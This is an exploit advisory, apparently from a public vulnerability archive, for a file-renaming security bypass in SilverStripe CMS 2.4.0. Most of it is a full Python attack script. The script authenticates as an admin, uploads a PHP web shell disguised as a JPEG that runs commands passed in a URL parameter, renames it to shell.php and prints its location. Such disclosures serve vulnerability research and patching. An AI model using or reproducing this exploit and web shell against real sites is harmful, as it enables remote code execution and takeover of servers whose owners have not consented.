SilverStripe CMS 2.4 - File Renaming Security Bypass

source: https://www.securityfocus.com/bid/40679/info

SilverStripe CMS is prone to a security-bypass vulnerability.

An attacker can exploit this vulnerability to rename uploaded files on the affected webserver. Successful exploits may allow attackers to execute arbitrary code within the context of the affected webserver.

SilverStripe CMS 2.4.0 is vulnerable; other versions may also be affected. 

import sys, socket, re
host = 'www.example.com'
path = '/silverstripe'
username = 'admin'
password = 'Password1'
port = 80

def send_request(request):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    s.send(request)

    resp = ''

    while 1:
        r = s.recv(8192)
        if not r: break
        resp += r
        if r[:15] == 'HTTP/1.1 302 OK': break

    s.close()

    return resp

def upload_shell():
    print 'authenticating'

    content = 'AuthenticationMethod=MemberAuthenticator&Email=' + username + '&Password='+ password + '&action_dologin=Log+in'

    header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\
             'Host: ' + host + '\r\n'\
             'Connection: keep-alive\r\n'\
             'User-Agent: x\r\n'\
             'Content-Length: ' + str(len(content)) + '\r\n'\
             'Cache-Control: max-age=0\r\n'\
             'Origin: http://' + host + '\r\n'\
             'Content-Type: application/x-www-form-urlencoded\r\n'\
             'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
             'Accept-Encoding: gzip,deflate,sdch\r\n'\
             'Accept-Language: en-US,en;q=0.8\r\n'\
             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
             '\r\n'    

    resp = send_request(header + content)

    print 'uploading shell'

    match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp)

    for m in match:
        if m[:9] == 'PHPSESSID':
            cookie = m

    content = '------x\r\n'\
              'Content-Disposition: form-data; name="ID"\r\n'\
              '\r\n'\
              '0\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="FolderID"\r\n'\
              '\r\n'\
              '0\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="action_doUpload"\r\n'\
              '\r\n'\
              '1\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\
              '\r\n'\
              '\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\
              'Content-Type: image/jpeg\r\n'\
              '\r\n'\
              '<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\
              '\r\n'\
              '\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="action_upload"\r\n'\
              '\r\n'\
              'Upload Files Listed Below\r\n'\
              '------x--\r\n'\

    header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\
             'Host: ' + host + '\r\n'\
             'Proxy-Connection: keep-alive\r\n'\
             'User-Agent: x\r\n'\
             'Content-Length: ' + str(len(content)) + '\r\n'\
             'Cache-Control: max-age=0\r\n'\
             'Origin: http://' + host + '\r\n'\
             'Content-Type: multipart/form-data; boundary=----x\r\n'\
             'Accept: text/html\r\n'\
             'Accept-Encoding: gzip,deflate,sdch\r\n'\
             'Accept-Language: en-US,en;q=0.8\r\n'\
             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
             'Cookie: ' + cookie + '\r\n'\
             '\r\n'

    resp = send_request(header + content)

    print 'grabbing ids'

    file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1)
    file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1)    

    resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\
                        'Host: ' + host + '\r\n'\
                        'Cookie: ' + cookie + '\r\n\r\n')

    print 'renaming shell'

    security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1)
    owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1)

    content = 'Title=' + file_name + '&Name=shell.php&FileType=JPEG+image+-+good+for+photos&Size=56+bytes&OwnerID=' + owner_id + '&Dimensions=x&ctf%5BchildID%5D=' + file_id + '&ctf%5BClassName%5D=File&SecurityID=' + security_id + '&action_saveComplexTableField=Save'

    header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\
             'Host: ' + host + '\r\n'\
             'Proxy-Connection: keep-alive\r\n'\
             'User-Agent: x\r\n'\
             'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\
             'Content-Length: ' + str(len(content)) + '\r\n'\
             'Cache-Control: max-age=0\r\n'\
             'Origin: http://' + host + '\r\n'\
             'Content-Type: application/x-www-form-urlencoded\r\n'\
             'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
             'Accept-Encoding: gzip,deflate,sdch\r\n'\
             'Accept-Language: en-US,en;q=0.8\r\n'\
             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
             'Cookie: ' + cookie + '; PastMember=1\r\n'\
             '\r\n'

    resp = send_request(header + content)   

    print 'shell located at http://' + host + path + '/assets/shell.php'

upload_shell()